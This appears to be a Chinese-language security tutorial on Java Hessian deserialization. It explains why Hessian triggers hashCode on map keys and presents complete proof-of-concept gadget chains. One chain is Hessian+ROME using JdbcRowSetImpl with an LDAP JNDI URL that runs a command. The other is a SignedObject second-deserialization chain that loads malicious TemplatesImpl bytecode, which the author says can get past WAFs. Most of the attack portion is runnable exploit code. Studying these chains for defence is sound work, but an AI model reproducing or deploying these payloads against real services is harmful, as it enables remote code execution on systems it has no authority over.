原理
Hessian
是一种RPC工具,用来将对象序列化或反序列化,添加依赖
<dependency><groupId>com.caucho</groupId><artifactId>hessian</artifactId><version>4.0.63</version></dependency>
首先看一下Hessian
的使用.
Person.java
import java.io.Serializable;public class Person implements Serializable {public String name;public int age;public int getAge() {return age;}public String getName() {return name;}public void setAge(int age) {this.age = age;}public void setName(String name) {this.name = name;}
}
Hessian_test.java
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;public class Hessian_Test implements Serializable {public static <T> byte[] serialize(T o) throws IOException {ByteArrayOutputStream bao = new ByteArrayOutputStream();HessianOutput output = new HessianOutput(bao);output.writeObject(o);System.out.println(bao.toString());return bao.toByteArray();}public static <T> T deserialize(byte[] bytes) throws IOException {ByteArrayInputStream bai = new ByteArrayInputStream(bytes);HessianInput input = new HessianInput(bai);Object o = input.readObject();return (T) o;}public static void main(String[] args) throws IOException {Person person = new Person();person.setAge(18);person.setName("Feng");byte[] s = serialize(person);System.out.println((Person) deserialize(s));}}
可以看到从使用上就类似ObjectInputStream
和ObjectOutputStream
,但在实现上的不同导致了漏洞的出现.
Hessian
会将序列化的结果处理为一个Map,而在反序列化的时候,会将需要的类去存储到HashMap
中,因此可以触发任意类的hash
方法(在cc6中分析过).
所以,我们只需要去找出口为hash
的链子即可.
我们以ROME反序列化为例去调一下.
Hessian+ROME
这东西的链子不说和纯ROME链一模一样,也差不多少
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;public class Main {public static void main(String[] args) throws Exception {JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();jdbcRowSet.setDataSourceName("ldap://localhost:1389/Basic/Command/calc");ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);HashMap<Object, Object> map = new HashMap<>();map.put(objectBean, "test");serialize(map);deserialize();}public static Object getValue(Object obj, String name) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);return field.get(obj);}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static void serialize(Object obj) throws Exception{HessianOutput hessianOutput = new HessianOutput(new FileOutputStream("test.ser"));hessianOutput.writeObject(obj);hessianOutput.close();}public static void deserialize() throws Exception{HessianInput hessianInput = new HessianInput(new FileInputStream("test.ser"));Object obj = hessianInput.readObject();hessianInput.close();}
}
这里着重解释一下为什么不能使用TemplatesImpl
去作为入口.来看一下_tfacotry
的定义.
private transient TransformerFactoryImpl _tfactory = null;
其中含有transient
字段,意味着这个属性是不可序列化的.事实上,在正常的链子构造中,这行是可有可无的.
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});SerializeUtil.setFieldValue(templates,"_name","f");//SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
因为早TemplatesImpl
的readObject
中对这个属性有相应的处理.
_tfactory = new TransformerFactoryImpl();
然而Hessian
使用的是自定义的readObject
,因此没有这行代码,会导致_tfactory
为null,抛出空指针异常,被捕获,因此不能执行命令.然而在8u20一下这条链子是可以的,在Jackson
反序列化中分析过了.那么如何解决这个问题呢?
SignedObject二次反序列化
来分析一下SignedObject
类的构造方法.
public SignedObject(Serializable object, PrivateKey signingKey,Signature signingEngine)throws IOException, InvalidKeyException, SignatureException {// creating a stream pipe-line, from a to bByteArrayOutputStream b = new ByteArrayOutputStream();ObjectOutput a = new ObjectOutputStream(b);// write and flush the object content to byte arraya.writeObject(object);a.flush();a.close();this.content = b.toByteArray();b.close();// now sign the encapsulated objectthis.sign(signingKey, signingEngine);}
将传入的对象序列化为字节数组,并存储到content
属性中.接下来看一下这个类的getObject
方法.
public Object getObject()throws IOException, ClassNotFoundException{// creating a stream pipe-line, from b to aByteArrayInputStream b = new ByteArrayInputStream(this.content);ObjectInput a = new ObjectInputStream(b);Object obj = a.readObject();b.close();a.close();return obj;}
这不就是个反序列化的过程吗.所以利用SignedObject来打二次反序列化的意义就在于可以屏蔽掉一条完整的执行链的具体流程,然后去寻找getter方法的新的出口.可以用于打非标准出口或是waf屏蔽的情景.
poc如下
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;public class Main {public static void main(String[] args) throws Exception {TemplatesImpl templatesimpl = new TemplatesImpl();byte[] bytecodes = Files.readAllBytes(Paths.get("F:\\idea_workspace\\Hession\\target\\classes\\shell.class"));setValue(templatesimpl,"_name","aaa");setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);setValue(badAttributeValueExpException,"val",toStringBean);KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);HashMap<Object, Object> hashMap = new HashMap<>();hashMap.put(equalsBean,1);byte[] payload = Hessian2_Serial(hashMap);Hessian2_Deserial(payload);}public static byte[] Hessian2_Serial(Object o) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();Hessian2Output hessian2Output = new Hessian2Output(baos);hessian2Output.writeObject(o);hessian2Output.flushBuffer();return baos.toByteArray();}public static Object Hessian2_Deserial(byte[] bytes) throws IOException {ByteArrayInputStream bais = new ByteArrayInputStream(bytes);Hessian2Input hessian2Input = new Hessian2Input(bais);Object o = hessian2Input.readObject();return o;}public static void setValue(Object obj, String name, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}
}
整体还是很好懂的,除了这一部分.
KeyPairGenerator keyPairGenerator;keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");
这是在生成SignedObject
构造方法所必要的参数,永远这么写,直接记就行.